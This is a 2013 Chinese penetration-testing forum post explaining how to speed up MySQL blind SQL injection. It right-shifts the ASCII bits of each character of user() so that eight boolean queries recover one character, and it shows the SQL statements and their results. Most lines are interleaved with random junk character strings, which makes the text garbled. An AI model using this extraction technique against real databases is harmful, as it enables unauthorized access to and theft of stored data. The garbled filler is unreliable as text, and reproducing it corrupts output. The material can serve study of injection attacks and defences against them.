中国网络渗透测试联盟

标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率 [打印本页]

作者: admin    时间: 2013-3-7 13:25
标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
3 e2 ?( `8 J) Q0 r( x
$ f: ?* }& R* S1 R0 i
. _# e' z3 B, B% B0 F# U! L: K0 S; t: }6 m* D. e
下面将以查询mysql数据库当中user()的第一位为例:0 z2 {9 A! G  j' x2 N

6 e8 ^3 B' n/ N& z , [" g5 j( z3 x9 J
* F3 }0 F8 h7 F/ Y9 X
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)2 l% b+ h( ?9 C* W, a8 a/ t1 |; c8 t
& k& D0 ^, B  ]: j' A
4 N- n* z# E  |2 }, Q3 O
! F* c  N. F8 @4 R7 Z" A2 N: l, K
首先执行如下sql语句:* g  G% l/ e* C$ _( c- ~

3 q& b6 D+ R6 r
- K8 }" ?" E7 F7 H0 X5 D. c' e
, ~# m/ P2 n$ Kmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
4 `& Q/ Q& o% c7 }3 n% x
2 [* ?, a3 O6 _- T, P' t7 o/ k% U" [ * ?) E8 Q/ a& y

" W& @. k; |7 \% A; E: M9 n我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
$ ]8 N4 a( g; Z6 i2 T9 s$ H9 F6 K7 x# C; u) k" G. z

1 x" S% r& Q5 I* a2 b( X6 |( {( k' ^+ C" _! S8 {5 s
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
! s8 X0 p6 g+ g0 R
) g* V9 D: W/ ]* E
$ g- u! n1 U/ v# H- V5 d0 }# M6 \0 y  y: p  o
如果运算结果为1,说明第一位为0,不为1
5 V' j4 n# P/ J3 N, C0 k9 u
) E( E; [0 a, t9 @5 e: ?7 F% D0 f
/ q( D/ K& e  f6 E/ g4 r$ k3 k" x4 s
+————————————–+
$ I  N7 d# n, q0 \8 ~  ~, Y& \
3 m9 H; I, V8 j$ z6 B| (ascii((substr(user(),1,1))) >> 7)=0 |
% O9 ?2 V2 }3 i; X6 q. N7 G+ e
5 g7 U( @" B; `; Y9 u( i. P5 k  s+————————————–+7 _) `7 ?. A) Q" N0 d. F% A

- ]/ i! D; s7 n, U) f! t| 1 |: ?, I, @4 {. L- z8 Z" J% e

5 I* z# I6 D1 d: I3 c9 U+————————————–+, ]+ Y  G' A/ @# ~" M+ t

" U  [; q5 [% P) O2 ]9 t1 row in set (0.00 sec)$ T- J& X/ O# O: X, n
8 D# f: D; O* H# f% x: p
这样我们就确定这个8bit的ascii的第一位为0
# c/ }6 M( |$ L) U# K1 _8 p% {/ K6 e1 ]; |2 Y3 ]
1 e( i0 j$ i! |6 L

7 J4 y* u0 Q. ^1 E0 |3 _第二次我们来做6次右偏移来确定前两位* p+ q- @% `& I" I- ?8 m/ r3 p# `1 z
1 @1 Y( i2 C3 [% h0 r7 a7 K
# r. c# }" w0 m2 c8 d
, X1 y  b/ {3 L4 H$ `$ e1 w9 b
前两位可能是01或00,即依然可以与0做比较,
3 o8 e2 _: s8 p/ E
" G7 s/ O0 R- b% E' p5 s- p2 k# {mysql> select (ascii((substr(user(),1,1))) >> 6)=0;5 ~( B  K0 r1 p3 I$ D0 A2 O1 o

3 s) h- n4 b6 E- k& R( e2 b+————————————–+
* k( W+ A. _6 ~; W& d+ _0 B4 s/ [. K
$ o" q; v/ v- L5 I6 W2 ?| (ascii((substr(user(),1,1))) >> 6)=0 |
8 u# @' ]( e: j# `0 j
8 t8 `4 G1 \8 m8 j# v: U8 V* r+————————————–+
$ p% x5 [1 i/ x! \0 J; c
$ b7 d! n9 ~2 H8 O8 t| 0 |
& J. [% [" @3 H6 ]0 b! M4 U# }. Y3 q. ]+ j9 L9 v
+————————————–+
+ a" e5 M& ~! K" z
6 E" `1 K" }0 s: r4 A3 e. Z1 row in set (0.00 sec)+ h- t9 p" M, E8 ]
  D+ g* D: q, n8 \2 d, u# L

- j- |9 L0 G- q2 I2 Y0 s% [" L5 ]1 a% N% |' {; h
结果为0,即第二位为1' z$ E( a: j- u) R
7 ^8 d% _0 `7 X  r5 A1 ~: y, J4 S
" B7 D6 V7 f4 i0 K7 S! V

* P1 Q1 H: R/ j% z4 u4 I开始猜测前三位为010或0112 ?7 \; g8 O5 I7 r$ W7 a7 R

2 X& h* a" r  H" R; d. r9 t+ @4 p, B. W' a
1 n2 x; H" d4 h1 t0 K  X" y3 }9 a8 D1 i) ^4 W6 X4 C- y* Z6 l
让我们看看010和011的ascii码是多少
9 l" X# F* [$ E  X
$ @, u5 E- Z% d& w0 a
( D& [2 S1 g4 S. y9 a4 G! u6 ~' b( {  Q8 ~) {
分别查询select b’011′ select b’010′# _( y9 `; _9 p% A
& G+ e4 n' `3 l/ @5 v$ U" L9 Q2 r
: @8 ^/ l' H7 B" ]% S8 h/ F# z+ V

( r; Q  }  B2 H1 X1 f( s$ M获得结果 010 = 2 011 = 3. ~! G. O- m' Q

) @& ~3 G# v# ?6 q4 k' ` - _: N3 `# \/ V" _' I. c6 j
% a7 c' X# U# U! W
执行如下sql:) l( g+ v3 g' S7 E. h7 E

/ o) Y0 O8 h  H( ?* m! l$ K' v- f
$ j' W. O; R0 O' u6 m
, r8 P5 W' j% a7 rmysql> select (ascii((substr(user(),1,1))) >> 5)=2;
3 S$ {# b6 I+ P+ [. ~+ z  @: o
% \# S2 ?% f" }4 i- `+————————————–+) V1 D9 s% c2 D# p% }* w3 n
, h6 o+ {2 Z) j# M" q; h
| (ascii((substr(user(),1,1))) >> 5)=2 |) ~5 D( O& e( Q) F9 }

4 a. h# G) |% l, A1 O6 d1 y0 c+————————————–+
& W* V! e/ F9 D; R+ ?/ b: _3 E* g: q, w$ F! U4 f6 k% _4 I
| 0 |1 U) c+ O: R: Z$ ^* R

8 D, O2 ^' q  Q7 |4 m' c+————————————–+8 Z3 J# Q. x  z+ T& q, w
) s* L& `2 h) _
即前三位不为010,而是011, u# F/ @# x  d  _% [. A9 y  q

% v4 p: L& a3 V, k& M
: D! D* S' _# s8 {/ |; b- m7 Z
: L- V8 T1 O# |直到获得最后一位2 C; J1 m4 N# H1 a, }

0 m* A) I4 l- U7 s: X ) M5 V0 L" c6 k: n6 ^
, Y2 z  G0 d4 g
最终结果为:011100102 C! n: D4 V1 x( U* c

( ^6 |, n; v! r8 ^( q* i, X
( Z9 u  {1 ]$ w4 o4 W5 w' S. a8 g! ~( t
转换一下:
+ ~; y% p5 J+ k& O7 b( @% i6 g1 Y2 K  F1 X5 @- \

  d" R! X6 H& |% u! L9 w* K8 A7 L8 c- U
select b’01110010′& p+ ?# Q8 o8 N: h3 m, f3 M, J5 M

1 Q$ m: ]( ~% K0 U, a. W7 b9 u $ K9 |1 S, Y. d- \1 f
3 a. A' V5 }, M, L" J
查询结果
; d4 {* ^& T, y9 D0 q
% Y/ F& a1 b9 b2 `0 O: L4 v3 K ( B) C2 l' ~" R+ n- ^6 \/ b  m
8 n. w$ R. K  x- h% C
+————-+
! ?- x% c& `4 ]9 E; S; \  r& o( }* P- F4 I. f( k. O) t* [
| b’01110010′ |
$ \* p8 E6 v7 ]' ^, y6 z3 D& M$ |* J- n8 Z6 T
+————-+
+ i1 a* h+ o! {+ p( d) ]8 c; S5 h% c
| r |9 U  m8 @0 u1 O6 T7 Y' o# o
2 V  J* G, N; M0 _& V6 c
+————-+
2 q% I, J: {- b8 o( S5 d* T$ T
( n4 f: ~9 W0 L6 ^6 ]1 row in set (0.00 sec)
6 f' m* s3 r7 ?, |/ F, a* a. d' t: E4 D# _4 ^

: d" o+ n( Y; D0 b& v$ Z
4 d4 [* X* f. N+ a$ f* @- |) C这样我们就获得了user()的第一位.其它位依此类推6 G& V0 p# M" d% K1 N
( p! G! F4 H4 i: d





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2